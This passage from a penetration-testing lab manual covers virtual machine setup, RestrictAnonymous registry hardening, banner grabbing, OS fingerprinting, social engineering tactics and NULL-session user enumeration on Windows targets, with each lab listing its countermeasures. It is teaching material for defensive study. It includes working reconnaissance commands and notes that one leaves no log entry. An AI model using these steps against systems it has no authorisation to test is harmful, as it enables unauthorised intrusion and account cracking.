"38\n\u0001\nPractical Hacking Techniques and Countermeasures\n7.\nAccept the default virtual Disk size (capacity) of 4.0 (GB). Click Finish.\n8. The VMware Workstation application now has a tab called Red Hat Linux. \n9.\nClick Edit virtual machine settings.\n" }, { "page_number": 52, "text": "Preparation\n\u0001\n39\n10.\nThis is the area where you can make any adjustments you need, such\nas increasing the amount of physical RAM on the host computer you\nwant dedicated to the virtual machine, changing the hard disk size, or\nadding other hardware items. Once a virtual computer is running it\nmust be shut down to change most of these settings. An exception is\ndisconnecting the CD-ROM or the floppy drive during operation. Once\nyou have made any adjustments, click OK.\n11.\nDepending on the media you are using you will either insert the Red\nHat Linux version 8 CD 1 or the DVD into the CD-ROM or DVD drive.\nClick Start this virtual machine or click the Play button on the\ntoolbar.\n" }, { "page_number": 53, "text": "40\n\u0001\nPractical Hacking Techniques and Countermeasures\n12.\nFrom the initial boot screen, type linux text and press the Enter key.\n13.\nThe Red Hat Linux installation process begins. Press the Enter key.\n" }, { "page_number": 54, "text": "Preparation\n\u0001\n41\n14.\nSelect the Language of your choice. Press the Enter key.\n15.\nSelect the Keyboard of your choice. Press the Enter key.\n" }, { "page_number": 55, "text": "42\n\u0001\nPractical Hacking Techniques and Countermeasures\n16.\nSelect the mouse you are currently using on the host computer. Press\nthe Tab key until Emulate 3 Buttons? is highlighted. Press the\nSpacebar to select, then press the Tab key until OK is highlighted.\nPress the Enter key.\n17.\nSelect Workstation as the installation type. Press the Tab key until OK\nis highlighted. Press the Enter key.\n" }, { "page_number": 56, "text": "Preparation\n\u0001\n43\n18. Accept the default of Autopartition. Press the Enter key on Autopartition.\n19.\nYou may receive a warning that reads “device sda being unreadable.”\nRemember as far as the host computer is concerned the virtual machine\nis completely separate from the host machine. Therefore, you are\nworking with a completely “new” virtual hard drive. Press the Enter\nkey to continue.\n" }, { "page_number": 57, "text": "44\n\u0001\nPractical Hacking Techniques and Countermeasures\n20.\nAccept the default to have Linux perform Automatic Partitioning to\nthe new virtual hard drive. Press the Tab key until OK is highlighted.\nPress the Enter key.\n21.\nPress the Tab key to highlight the Yes button. Press the Enter key to\nremove all Linux partitions.\n" }, { "page_number": 58, "text": "Preparation\n\u0001\n45\n22.\nAccept the default Use GRUB Boot Loader. Press the Tab key to highlight\nthe OK button. Press the Enter key.\n23.\nOn the Boot Loader special options screen, press the Tab key to\nhighlight the OK button. Press the Enter key.\n" }, { "page_number": 59, "text": "46\n\u0001\nPractical Hacking Techniques and Countermeasures\n24.\nLeave the Boot Loader Password blank for this installation. Press the\nTab key to highlight the OK key. Press the Enter key.\n*Note: If you decide to use a Boot Loader Password, remember that all of Linux is\ncase sensitive.\n25.\nOn the default Boot Partition screen, press the Tab key to highlight\nthe OK button. Press the Enter key.\n" }, { "page_number": 60, "text": "Preparation\n\u0001\n47\n26.\nOn the Boot Loader install location screen, press the Tab key to\nhighlight the OK button. Press the Enter key.\n27.\nOn the Network Configuration for eth0 screen you will need to\ndecide whether to assign a static IP address or obtain an IP from a\nDHCP source. In this example, I left the default of dhcp. Press the Tab\nkey to highlight the OK button. Press the Enter key.\n" }, { "page_number": 61, "text": "48\n\u0001\nPractical Hacking Techniques and Countermeasures\n28.\nOn the Firewall Configuration screen, press the Tab key to highlight\nNo Firewall. Press the Tab key to highlight the OK button. Press the\nEnter key on OK.\n29.\nOn the Language Support screen, press the Tab key to select any\nadditional languages you need support for. Press the Enter key to\nhighlight the additional languages. Press the Tab key to highlight the\nOK button. Press the Enter key.\n" }, { "page_number": 62, "text": "Preparation\n\u0001\n49\n30.\nOn the Time Zone Selection screen, press the Tab key and by using\nthe ARROW or PAGE UP/PAGE DOWN keys locate the appropriate\nTime Zone for your installation. Once the correct Time Zone has been\nlocated press the Tab key to highlight the OK key. Press the Enter key.\n31.\nOn the Root Password screen, enter a root Password (minimum of 6\ncharacters), press the Tab key and reenter the same password. Press\nthe Tab key to highlight the OK button. Press the Enter key.\n*Note: Remember that all of Linux is case sensitive.\n" }, { "page_number": 63, "text": "50\n\u0001\nPractical Hacking Techniques and Countermeasures\n32.\nOn the Add User screen, press the Tab key to highlight the OK button.\nPress the Enter button.\n*Note: Users can be added here but it is a personal preference to add them after the\ninstallation is complete. Remember that all of Linux is case sensitive.\n33.\nOn the Workstation Defaults screen, press the Tab key until the OK\nbutton is highlighted. Press the Enter key.\n" }, { "page_number": 64, "text": "Preparation\n\u0001\n51\n34.\nOn the Installation to begin screen, press the Tab key to highlight\nthe OK button. Press the Enter key.\n35.\nThe installation will now begin.\n" }, { "page_number": 65, "text": "52\n\u0001\nPractical Hacking Techniques and Countermeasures\n36.\nThe file installation will take a few minutes.\n37.\nAt the create Boot Disk screen, press the Tab key to highlight the No\nbutton. Press the Enter key.\n" }, { "page_number": 66, "text": "Preparation\n\u0001\n53\n38.\nAt the Video Card Configuration screen, press the Tab key to highlight\nthe Skip X Configuration button. Press the Enter key.\n39.\nAt this point Red Hat Linux informs you that you have completed the\ninstallation. However, we will manually configure X. Press the Enter\nkey on OK.\n*Note: The term X Windows refers to a graphical interface for Linux. If you prefer\nto work in command-line-only mode you can skip the X Windows config-\nuration. Because of the way VMware Workstation operates the VMware Tools\nmust be installed prior to configuring X Windows for Linux.\n" }, { "page_number": 67, "text": "54\n\u0001\nPractical Hacking Techniques and Countermeasures\n40.\nThe new virtual machine will reboot.\n41.\nRed Hat Linux version 8 will now boot up. Press the Enter key or wait\n10 seconds for automatic booting.\n" }, { "page_number": 68, "text": "Preparation\n\u0001\n55\n42. Log in as user root with the password you set back in Step 31.\n*Note: Remember that all of Linux is case sensitive.\nInstalling VMware Tools for Red Hat Virtual Machines\nVMware Tools allows for better screen resolution, mouse control, drag-and-\ndrop operations, improved network performance, shared folders support, and\ncopying and pasting between the host and virtual machine.\n*Note: Initially once you are logged into your virtual machine you will find that you\nare locked into the virtual machine and you cannot get out to the host\ncomputer. To switch back to the host computer hold down the Ctrl key and\npress the Alt key. Then by clicking back into the virtual machine screen the\nvirtual machine becomes active again.\n*Note: You do not use a physical CD when installing VMware Tools. The VMware\nWorkstation software contains an ISO image that the guest machine interprets\nas a physical CD.\n" }, { "page_number": 69, "text": "56\n\u0001\nPractical Hacking Techniques and Countermeasures\nTo install VMware Tools, follow these steps:\n1.\nReturn to the host machine by holding down the Ctrl key and press\nthe Alt key. Then from the VMware Workstation menu click VM then\nInstall VMware Tools\n2.\nThe VMware Tools installation screen appears. Click Install VMware\nTools.\n" }, { "page_number": 70, "text": "Preparation\n\u0001\n57\n3.\nClick your mouse back inside the virtual machine to make your key-\nstrokes active within Red Hat Linux and type the following commands:\n*Note: Remember that all of Linux is case sensitive.\nmount/dev/cdrom/mnt/cdrom\ncd/tmp\nrpm-Uhv/mnt/cdrom/VMwareTools-5.0.0-13124.i386.rpm\numount/dev/cdrom\n*Note: For the above line “rpm–Uhv/mnt/cdrom/VMwareTools-5.0.0-\nxxxxx.i386.rpm” the “xxxxx” indicates the current version of VMware\nTools you are using. In this case it is 13124.\n4.\nThe next command will initiate the actual installation of VMware tools:\n./VMware-config-tools.pl.\n" }, { "page_number": 71, "text": "58\n\u0001\nPractical Hacking Techniques and Countermeasures\n5.\nAccept any default answers to any questions by pressing the Enter\nkey.\n6.\nThe installation of VMware Tools is now complete.\n7.\nType in the following command to Start X:\nstartx\n" }, { "page_number": 72, "text": "Preparation\n\u0001\n59\n8.\nWelcome to the Red Hat Linux Graphical User Interface \n(GUI — pronounced gooey).\n9.\nIf for any reason Red Hat startx does not start X Windows, type the\nfollowing command.\n*Note: Remember that all of Linux is case sensitive.\nredhat-config-xfree86 \nor \nredhat-config-display\nIf you are still having difficulties you will need to consult either the owner’s\nmanual or Red Hat support, or search on the Internet by typing in the exact\nerror message you are receiving between quotes.\nCongratulations! You have successfully installed Red Hat Linux version 9\nand VMware Tools!\n*Note: The biggest change you will immediately notice after installing VMware Tools\nis the colors will appear clearer. You may also notice that the virtual machine\nwindow actually becomes larger. Of course this new virtual machine is not\nsecure as it has no updates installed on it.\n" }, { "page_number": 73, "text": "60\n\u0001\nPractical Hacking Techniques and Countermeasures\nWhat Is on the CD?\nThe first item I wanted to include was a current version of the VMware Workstation\n30-day demonstration software. At the time of this writing I am still waiting\non VMware for written approval to include this on the CD. If the software is\nnot on the CD then I did not receive it in time; however, you can still download\nthe software from http://www.vmware.com/download/ws.\nOtherwise, all the tools freely available from the Internet that are demon-\nstrated in this book are included on the CD. It will be the reader’s responsibility\nto provide the operating systems for the virtual machines they wish to install.\nThe few applications that require purchase are noted on each lab and the\nappropriate Internet address is provided for the reader to download. \nRestrict Anonymous\nSeveral of the labs in this manual refer to information being retrieved from a\ntarget because a NULL session has been able to be established to the target.\nCountermeasures include restricting anonymous. This applies to Windows\nNT, 2000, XP, and 2003 computers only.\nPrerequisites: \n\u0001\nPort 139 or 445\n\u0001\nRestrict Anonymous = 0\n\u0001\nEnable File and print sharing\nTo Restrict Anonymous\nIn Windows NT\n\u0001\nRun the Registry editor (Regedt32.exe)\n\u0001\nGo to the following key in the registry:\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\\nControl\\LSA\n\u0001\nOn the edit menu, click Add value and use the following entry:\n\u0001\nValue Name: RestrictAnonymous\n\u0001\nData Type: REG_DWORD\n\u0001\nValue: 1\nFor Windows XP, 2003\n\u0001\nRun the Registry editor (Regedt32.exe or Regedit.exe)\n\u0001\nGo to the following key in the registry:\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\\nControl\\LSA\n" }, { "page_number": 74, "text": "Preparation\n\u0001\n61\n\u0001\nOn the edit menu, click Add value and use the following entries:\n\u0001\nValue Name: RestrictAnonymous\n\u0001\nData Type: REG_DWORD\n\u0001\nValue: 1\n\u0001\nOn the edit menu, click Add value and use the following entries:\n\u0001\nValue Name: RestrictAnonymousSam\n\u0001\nData Type: REG_DWORD\n\u0001\nValue: 1\n\u0001\nOn the edit menu, click Add value and use the following entries:\n\u0001\nValue Name: EveryoneIncludesAnonymous\n\u0001\nData Type: REG_DWORD\n\u0001\nValue: 0\nFor Windows 2000\n\u0001\nRun the Registry editor (Regedt32.exe or Regedit.exe)\n\u0001\nGo to the following key in the registry:\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\\nControl\\LSA\n\u0001\nOn the edit menu, click Add value and use the following entries:\n\u0001\nValue Name: RestrictAnonymous\n\u0001\nData Type: REG_DWORD\n\u0001\nValue: 2\nWhat Is the Difference?\nWindows NT, XP, 2000, and 2003 all allow a NULL session to be established\nby default. The reason behind this is because in a trusted network environment\neach operating system will be able to identify each other’s shared resources\nand any peripherals that may be attached. This is done by using the Inter\nProcess Communication share (IPC$) and some network configurations\nrequire this ability, as in a heterogeneous network.\nThe default setting of RestrictAnonymous for Windows NT and 2000 is a\nvalue of 0. When NT and Windows 2000 RestrictAnonymous is set to a value\nof 1, a NULL session can still be made, but much of the user enumeration\ndata is restricted. Setting the RestrictAnonymous value to 2 prevents a NULL\nsession from occurring.\nFor maximum security a value of 2 should be used on Windows 2000 and\na value of 1 for Windows NT; however, some connection problems may occur\nin a heterogeneous network if a Windows 2000 domain must share its\nresources with non-2000 clients. In this case these clients will be unable to\nconnect to the domain and will effectively be denied access to its resources.\n" }, { "page_number": 75, "text": "62\n\u0001\nPractical Hacking Techniques and Countermeasures\nFor Windows XP and 2003 the default RestrictAnonymous setting is 0. In\naddition Windows XP and 2003 have the settings of RestrictAnonymousSam,\nwith a default value of 1, and EveryoneIncludesAnonymous, with a default\nvalue of 0.\nThe only valid option for Windows XP and 2003 for RestrictAnonymous\nis either 0 or 1. Setting the RestrictAnonymous value to 0 will allow NULL\nsessions to enumerate shares. Setting the RestrictAnonymous value to 1 will\nlimit access to the shared information.\nSetting the RestrictAnonymousSam value to 0 will allow the enumeration\nof user accounts. Changing the RestrictAnonymousSam value to 1 will prevent\nthe enumeration of local SAM accounts.\nSetting the EveryoneIncludesAnonymous to a value of 0 will ensure NULL\nsessions have no special rights. Setting the EveryoneIncludesAnonymous to\na value of 1 will give NULL sessions access to the Everyone group, including\nany right set to that group.\nFor maximum security of Windows XP and 2003 the following settings\nshould be used:\n\u0001\nRestrictAnonymous = 1\n\u0001\nRestrictAnonymousSam = 1\n\u0001\nEveryoneIncludesAnonymous = 0\nThese settings will allow a NULL session to occur and provide access to\nshared resources to a trusted user but deny enumeration of other user\ninformation.\nNow on to the labs!\n" }, { "page_number": 76, "text": "Chapter 2\nBanner Identification\n" }, { "page_number": 77, "text": "" }, { "page_number": 78, "text": "Banner Identification\n\u0001\n65\nLab 1: Banner Identification \nBanner Grabbing: TELNET \nPrerequisites: None\nCountermeasures: Uninstall/disable unnecessary services, SSH, VPN,\nIPSEC, banner alteration.\nDescription: The Telnet application normally uses port 23 but can be\nused to obtain specific banner information from other running services\nby connecting to other ports on the target. An attacker uses this infor-\nmation to launch appropriate attacks for the results obtained. Remem-\nber that all Linux commands are case sensitive.\nProcedure: From a DOS prompt or Linux shell, type the following with\nthe syntax of:\ntelnet (IP Address or Name)(Port #)\nIn this example, the Telnet application is attempting to connect to port 80,\nthe standard HTTP (Web) port. The results show that IIS 5.0 is being used by\nthe target.\n" }, { "page_number": 79, "text": "66\n\u0001\nPractical Hacking Techniques and Countermeasures\n“Banner grabbing” via Telnet works in Linux as well. In this example Telnet\nis connecting to port 21.\nThe results show that Serv-U FTP Server, version 5.0 is being used at the target.\n" }, { "page_number": 80, "text": "Banner Identification\n\u0001\n67\nLab 2: Banner Identification\nBanner Grabbing: NETCAT\nPrerequisites: None\nCountermeasures: Uninstall/disable unnecessary services, SSH, VPN,\nIPSEC, banner alteration.\nDescription: The netcat application has many uses and can be used to\nobtain specific banner information from services by connecting to\nspecific ports on the target. An attacker uses this information to launch\nappropriate attacks for the results obtained. The netcat application is\nused throughout this book. Remember that all commands in Linux are\ncase sensitive.\nProcedure: From a DOS prompt or Linux terminal, type the following\nwith the syntax of:\nnc (IP Address)(Port #)\nTo use netcat on Microsoft Windows:\nFrom the directory containing the netcat application type the following:\nnc –v –n (Target IP Address) (Port #)\nIn this example the netcat application is attempting to grab the banner\ninformation from the target on port 80, the standard HTTP (Web) port. Type: \nnc –v –n 24.227.197.22 80\n" }, { "page_number": 81, "text": "68\n\u0001\nPractical Hacking Techniques and Countermeasures\nInitially it may appear that netcat is not working or is stuck as it just sits there. \nPress the Enter key twice.\nIn this example, the result is that the Target is using Microsoft IIS 5.0.\n" }, { "page_number": 82, "text": "Banner Identification\n\u0001\n69\nTo use Linux on Red Hat Linux:\n\u0001\nFrom the directory in which the compressed netcat file is located, type tar\n–zxvf netcat-0.7.1.tar.gz and press the Enter key.\n\u0001\nThe files will uncompress into a new directory named netcat-0.7.1.\n\u0001\nChange to the new directory by typing cd netcat-0.7.1 and pressing Enter.\n\u0001\nThe netcat utility must be configured for the specific computer it is on. This\nis done by typing:\n./configure\nThe netcat application will now compile.\n" }, { "page_number": 83, "text": "70\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe next step is to type the make command.\nThe make command executes.\n" }, { "page_number": 84, "text": "Banner Identification\n\u0001\n71\nThe last step is to install the netcat application by typing make install.\nThe netcat application will install.\n" }, { "page_number": 85, "text": "72\n\u0001\nPractical Hacking Techniques and Countermeasures\nIn this example, the netcat application is run against a target running an\nFTP server by typing:\nnc –v –n 24.227.197.22 21\nFrom this example the result is:\n\u0001\nThe target at 24.227.197.22 is running Serv-U FTP Server version 5.0.\n" }, { "page_number": 86, "text": "Banner Identification\n\u0001\n73\nLab 3: Banner Identification\nBanner Grabbing: SCANLINE\nPrerequisites: None\nCountermeasures: Uninstall/disable unnecessary services, SSH, VPN,\nIPSEC, banner alteration.\nDescription: The Scanline application has many uses and can be used to\nobtain specific banner information from other running services by\nconnecting to other ports on the target. An attacker uses this informa-\ntion to launch appropriate attacks for the results obtained.\nProcedure: Download or install from the accompanying CD and execute\nagainst the target with the syntax of:\nsl (IP ADDRESS)\nIn this example, from a DOS prompt, type the following target:\nsl –v –b 192.168.0.8\n" }, { "page_number": 87, "text": "74\n\u0001\nPractical Hacking Techniques and Countermeasures\nScanline identifies open ports on the target and retrieves the banner infor-\nmation. \nIn this example, the target:\n\u0001\nHas ports 13, 19, 21, 25, 80, and 6666 open.\n\u0001\nIs using Microsoft FTP Service, version 5.0.\n\u0001\nIs using Microsoft ESMTP MAIL Service, version 5.0.2172.1\n\u0001\nIs using Microsoft IIS, version 5.0.\n\u0001\nPort 13 is used for the Daytime protocol.\n\u0001\nPort 19 is used for the character generator service (chargen). \n\u0001\nPort 6666 is normally used for Internet Relay Chat (IRC).\n\u0001\nPorts 13 and 19 can be used by an attacker to perform a Denial-of-Service\n(DoS) attack on the target as these ports are required to respond to\nrequests without any authentication. \n*Note: Sending 1,000 simultaneous requests to port 19, the chargen service will\nrespond with 1,000 endless loops of random character generation. What is\nworse is if two targets are compromised in this fashion; both targets can\neffectively create a DoS attack against each other with the attacker placing\nthe IP address of each target (spoofing) as the source of the requesting\ncomputer.\n" }, { "page_number": 88, "text": "Banner Identification\n\u0001\n75\nLab 4: Operating System Identification\nDetect Operating System of Target: Xprobe2 \nPrerequisites: None\nCountermeasures: IDS to detect UDP to port 32132, deny ICMP\nrequests/reply.\nDescription: The Xprobe2 application is used to identify the possible\noperating system (OS) of the target. An attacker uses this information\nto launch appropriate attacks for the results obtained. Remember that\nall commands in Linux are case sensitive.\nProcedure: Uncompress, compile, create the Xprobe2 executable and\nexecute against the target with the syntax of:\nXprobe2 options Target IP ADDRESS\nFrom the Linux directory containing the type Xprobe compressed file, type\ntar –zxvf xprobe2-0.3.tar.gz.\nThe Xprobe files will uncompress and install into a new directory named\nxprobe2-0.3.\nChange to the new directory by typing cd xprobe2-0.3 and pressing\nEnter.\nThe Xprobe application needs to be configured for the machine it is\ncurrently running on by typing i ./configure.\nThe files will configure for the machine they are currently on. Be patient\nas this may take a few minutes depending on the computer.\nThe next step is to type make and press Enter.\n" }, { "page_number": 89, "text": "76\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe make command will execute. \nThe last step prior to execution is to install the Xprobe application by typing:\nmake install\n" }, { "page_number": 90, "text": "Banner Identification\n\u0001\n77\nThe Xprobe application will now install.\nIn this example to execute Xprobe against a target, type:\nxprobe2 172.16.1.40\n" }, { "page_number": 91, "text": "78\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe results of the Xprobe application will be listed.\nFrom the results of this example:\n\u0001\nThe primary guess is the target is running Microsoft Windows XP\n\u0001\nThe other guesses include:\n\u0001\nMicrosoft Windows 2000 Server Service Pack 4\n\u0001\nMicrosoft Windows 2000 Server Service Pack 3\n\u0001\nMicrosoft Windows 2000 Server Service Pack 2\n\u0001\nMicrosoft Windows 2000 Server Service Pack 1\n\u0001\nMicrosoft Windows XP SP1\n\u0001\nMicrosoft Windows 2000 Workstation Service Pack 4\n\u0001\nMicrosoft Windows 2000 Workstation Service Pack 4\n\u0001\nMicrosoft Windows 2000 Workstation Service Pack 4\n\u0001\nMicrosoft Windows 2000 Workstation Service Pack 4\nIn this example, the primary guess of Xprobe2 was incorrect as the target\nwas actually Microsoft Windows 2000 Server with no updates or service packs\ninstalled.\n*Note: Even though Xprobe2 misidentified the target, it is possible that Xprobe has\nidentified the host computer, which in this case is Microsoft Windows XP.\nEven so, Xprobe2 did identify that the target was Microsoft Windows in origin.\n" }, { "page_number": 92, "text": "Banner Identification\n\u0001\n79\nLab 5: Banner Identification\nBanner Grabbing: AMAP\nPrerequisites: None\nCountermeasures: Uninstall/disable unnecessary Services, banner alteration\nDescription: The amap application is used to obtain specific banner\ninformation from other running services by connecting to other ports\non the target. An attacker uses this information to launch appropriate\nattacks for the results obtained. Remember that all commands in Linux\nare case sensitive.\nProcedure: Download or compile the application and execute it with the\nfollowing syntax:\namap <–options> target ip address\nTo install amap on a Linux computer:\n\u0001\nFrom the Linux directory containing the amap application type tar\n–zxvf amap-5.2.tar.gz.\n\u0001\nThe contents of the file will be uncompressed in a new directory named\namap-5.2.\n\u0001\nChange to the new directory by typing cd amap-5.2 and pressing Enter.\n\u0001\nFrom the new directory the amap application needs to be configured\nfor the computer it resides on by typing ./configure.\n\u0001\nThe amap application compiles.\n" }, { "page_number": 93, "text": "80\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe next step is to make the amap executable by typing make and pressing\nEnter.\nThe make command will create the amap executable.\nTo scan a target with an IP address of 172.16.1.40, run the FTP service and\ngrab the banner information, type the following:\n./amap –B 172.16.1.40 21\n" }, { "page_number": 94, "text": "Banner Identification\n\u0001\n81\nThe amap is the application itself. The –B option is the “Just Grab Banners\nOnly” command. The 172.16.1.40 is the target IP address. 21 is the port the\nFTP service runs on.\nThe amap application will scan the target on port 21 and in this example\nwill grab only the banner information available on that port.\n" }, { "page_number": 95, "text": "82\n\u0001\nPractical Hacking Techniques and Countermeasures\n\u0001\nIn this example, the target:\n\u0001\nResolves to the hostname of win2000s-v.\n\u0001\nIs running the Microsoft FTP Service (Version 5.0).\nTo install amap on a Windows computer:\n\u0001\nFrom the directory containing the amap executable, to scan a target\nwith an IP address of 24.227.197.21 run the FTP service and grab the\nbanner information by typing the following:\namap –B 172.16.1.40 21\n" }, { "page_number": 96, "text": "Banner Identification\n\u0001\n83\n\u0001\nAmap for Windows will execute:\nAs in the Linux example, the target:\n\u0001\nResolves to the hostname of win2000s-v.\n\u0001\nIs running the Microsoft FTP Service (Version 5.0).\n" }, { "page_number": 97, "text": "84\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 6: Banner Identification \nBanner Grabbing: BANNER.C\nPrerequisites: None\nCountermeasures: Uninstall/disable unnecessary services, SSH, VPN,\nIPSEC, banner alteration.\nDescription: The banner.c script is compiled and used to obtain specific\nbanner information from other running services by connecting to other\nports on the target. An attacker uses this information to launch appro-\npriate attacks for the results obtained. Remember that all commands\nin Linux are case sensitive.\nProcedure: From a Linux terminal, compile the banner.c script and then\ntype the following with the syntax of:\n./banner (Start IP) (End IP) (Start Port) (End Port)\nFrom the Linux directory containing the script compile the banner.c script\nfirst by typing gcc banner.c –o banner.\nOnce compiled, type:\n./banner 192.168.11.120 192.168.11.120 21 21\n*Note: Your target IP may vary as in this example, the IP address of my target was\n192.168.11.120 and I was only grabbing the banner information for port 21\n(the FTP port).\n" }, { "page_number": 98, "text": "Banner Identification\n\u0001\n85\nThe results in this example determined that:\n\u0001\nPort 21 is open.\n\u0001\nThe target is using Microsoft FTP Service, version 5.0.\nThe following syntax will attempt to grab the banner information from the\nsame target, port 25:\n./banner 192.168.11.120 192.168.11.120 25 25\nThe result in this example determined that:\n\u0001\nPort 25 is open.\n\u0001\nThe target is using Microsoft ESMTP MAIL Service, version 5.0.2172.1.\n" }, { "page_number": 99, "text": "86\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 7: Personal Social Engineering\nSocial Engineering Techniques: Dumpster Diving/Personnel \nPrerequisites: None\nCountermeasures: Enforced security policy, prosecution for violations,\ntraining, document shredding. \nDescription: Information that companies consider sensitive is thrown out\ndaily in the normal garbage cans. Attackers can successfully retrieve\nthis data by literally climbing into the company dumpsters and pilfering\nthrough the garbage. Information such as names, Social Security num-\nbers, addresses, phone numbers, account numbers, balances, and so\nforth is thrown out every day somewhere. I personally know a nation-\nally recognized movie rental company that still uses carbon paper in\nits fax machine. Once the roll is used up they simply throw the entire\nroll in the dumpster. The information on that roll is priceless, including\nnames, addresses, account numbers, phone numbers, how much they\nactually pay for their movies, and so forth.\nAnother social engineering attack that also proves to be very successful is\nwhen an attacker dresses in the uniform of those personnel considered\n“honest” and “important” or even “expensive.” For example; an attacker\npurchases/steals the uniform of a carrier, telephone, or gas or electric\nemployee and appears carrying boxes and/or clipboards, pens, tools,\netc. and perhaps even an “official-looking” identification badge or a\ndolly carrying “equipment.” These attackers generally have unchal-\nlenged access throughout the building as employees tend to see\n“through” these types of people. When is the last time you challenged\none of these personnel to verify their credentials?\nThis attack is very risky as the attacker can now be personally identified\nshould he or she get caught.\nAgain, this attack is normally very successful so bear this in mind.\n" }, { "page_number": 100, "text": "Chapter 3\nTarget Enumeration\n" }, { "page_number": 101, "text": "" }, { "page_number": 102, "text": "Target Enumeration\n\u0001\n89\nLab 8: Establish a NULL Session\nEstablish a NULL Session: NULL Session\nPrerequisites: Transfer Control Protocol (TCP) 139, IPX, or NetBEUI\nCountermeasures: Secure access control lists (ACLs), Restrict Anonymous,\nhost-based firewalls\nDescription: The NULL session is used on Windows computers via the\nInter-Communication Process (IPC$) to allow the viewing of shared\nresources. This connection is made without a username or password.\nAn attacker will use the NULL session to his or her advantage to enu-\nmerate user information from the target. Many enumeration labs are\nmore successful when establishing a NULL session.\nProcedure: From an operating system (OS) prompt enter the following\nsyntax:\nnet use \\\\Target IP Address\\IPC$ \"\"/u:\"\"\nWhen successful, the result will show The command completed successfully.\nNote that this is not logged in the System Event Log!\n*Note: As long as the target computer has not restricted NULL sessions (see the\n“Restrict Anonymous” section in Chapter 1) and a firewall is not used to\nidentify attempts to connect or deny connections to port 139 or 445, this\ntechnique works. Again, remember that this connection is not logged in the\nSystem Event Log.\n" }, { "page_number": 103, "text": "90\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 9: Enumerate Target MAC Address\nEnumerate MAC Address and Total NICs: GETMAC \nPrerequisites: NULL Session\nCountermeasures: Restrict Anonymous, host-based firewalls\nDescription: The GETMAC application is used to identify the Media\nAccess Control (MAC) address assigned to each network card (NIC) of\nthe target. Another feature of the GETMAC application will identify the\ntotal number of NICs in the target.\nProcedure: Establish NULL session (refer to Lab 8). Then from a DOS\nprompt, type the following with the syntax of:\ngetmac IP Address\nIn this example, the target MAC addresses have been identified as well as\nthe total number of NICs. In this case, two NICs have been identified.\nIn this case, the target has the following MAC addresses for each identified\nNIC:\nNIC 1: 00-0C-29-A3-E4-40\nNIC 2: 24-C8-20-52-41-53\n" }, { "page_number": 104, "text": "Target Enumeration\n\u0001\n91\nLab 10: Enumerate SID from User ID \nEnumerate the SID from the Username: USER2SID\nPrerequisites: NULL Session\nCountermeasures: Restrict Anonymous, host-based firewalls\nDescription: Every account on a Windows computer has a Security Iden-\ntifier (SID). SIDs are static for the machine the user accounts are\ninstalled on. The USER2SID application is used to enumerate the SID\nfrom a given username. Once the SID has been identified the username\ncan be enumerated regardless of what the user account has been\nrenamed (covered in Lab 11). \nProcedure: First establish a NULL session. From a DOS prompt type the\nfollowing syntax:\nuser2sid <\\\\Target IP Address> account name\n*Note: The computer name is optional with this utility. If none is given the local\ncomputer is used.\nIn this example, the target IP address is 172.16.1.40 and the target account\nname is Administrator.\n" }, { "page_number": 105, "text": "92\n\u0001\nPractical Hacking Techniques and Countermeasures\nIn this example the username of the Administrator:\n\u0001\nHas a SID of 5-21-1220945662-1343024091-854245398. (The S-1 and\nnumber at the end, in this case 500, is not part of the SID.)\n\u0001\nIs in the WIN2000S-V domain.\n*Note: As you will learn in the next lab you can immediately verify if certain account\nnames are the “real” names. For instance, this example shows that the Admin-\nistrator account number ends in 500. The 500 is known as the Relative\nIdentifier (RID) and is ALWAYS 500 on a Windows computer.\n" }, { "page_number": 106, "text": "Target Enumeration\n\u0001\n93\nLab 11: Enumerate User ID from SID \nEnumerate the Username from the Known SID: SID2USER \nPrerequisites: NULL Session\nCountermeasures: Restrict Anonymous, host-based firewalls\nDescription: Every user account on a Windows computer has a RID. Certain\nRIDs are static. The SID2USER application is used to enumerate the username\nfrom a given SID regardless of what the account may have been renamed.\n(Refer to Lab 10 for a SID.)\nProcedure: Establish a NULL session and initiate a query against the target.\nFrom the directory containing the sid2user executable establish a NULL session\n(refer to Lab 8). From a DOS prompt, type the following syntax:\nsid2user <\\\\Target IP Address> SID RID\n*Note: The computer name is optional with this utility. If none is given the local\ncomputer is used.\nUser accounts that carry the same RID regardless of what the account has been\nrenamed to are shown here:\nIn this example, the known SID (refer to Lab 10) is given plus the known Admin-\nistrator RID of 500. \nUsername\nRID\nAdministrator\n500\nGuest\n501\nUser Accounts\n1000 +\n" }, { "page_number": 107, "text": "94\n\u0001\nPractical Hacking Techniques and Countermeasures\n*Note: Notice that the dashes are not included in the SID as identified from Lab 10,\nas well as the S-1 at the beginning of the number. You must leave these out\nfor sid2user to correctly identify the username based on the SID plus RID.\nIn the results from the example above notice that from the SID from Lab\n10 plus the static RID of the Administrator account (500):\n\u0001\nThe username for that RID is actually the Administrator account.\n\u0001\nThe target resides in the WIN2000S-V domain. \nOn the target computer the Administrator account has been renamed to Kermit.\n" }, { "page_number": 108, "text": "Target Enumeration\n\u0001\n95\nNow when the SID2USER application is run against the target:\nFrom the example:\n\u0001\nThe renamed Administrator account of Kermit has been identified by\nthe RID of 500. Remember that the RID for the real Administrator account\nwill always be 500 regardless of what the account is renamed to.\n\u0001\nAs before, the target resides in the WIN2000S-V domain.\n*Note: Knowing the username is half the battle to cracking an account. An attacker\ncan now inject the username of Kermit into a brute-force password-cracking\nprogram until the correct password is identified.\n" }, { "page_number": 109, "text": "96\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 12: Enumerate User Information\nEnumerate User Information from Target: USERDUMP \nPrerequisites: NULL Session\nCountermeasures: Restrict Anonymous, host-based firewalls\nDescription: The USERDUMP application is designed to gather user infor-\nmation from the target. Some of the information enumerated is the user\nRID, privileges, login times, login dates, account expiration date, net-\nwork storage limitations, login hours, and much more. \nProcedure: Establish a NULL session (refer to Lab 8). From a DOS prompt\ntype the following syntax:\nuserdump \\\\Target IP Address Target Username\nThe results reveal the following username Administrator details:\n\u0001\nThe User ID is 500. (This tells us that this is indeed the real Administrator account.)\n\u0001\nThe user’s password never expires.\n\u0001\nThe Administrator last logged in at 12:44 a.m. on January 16, 2004.\n\u0001\nThe account has had 9 bad password 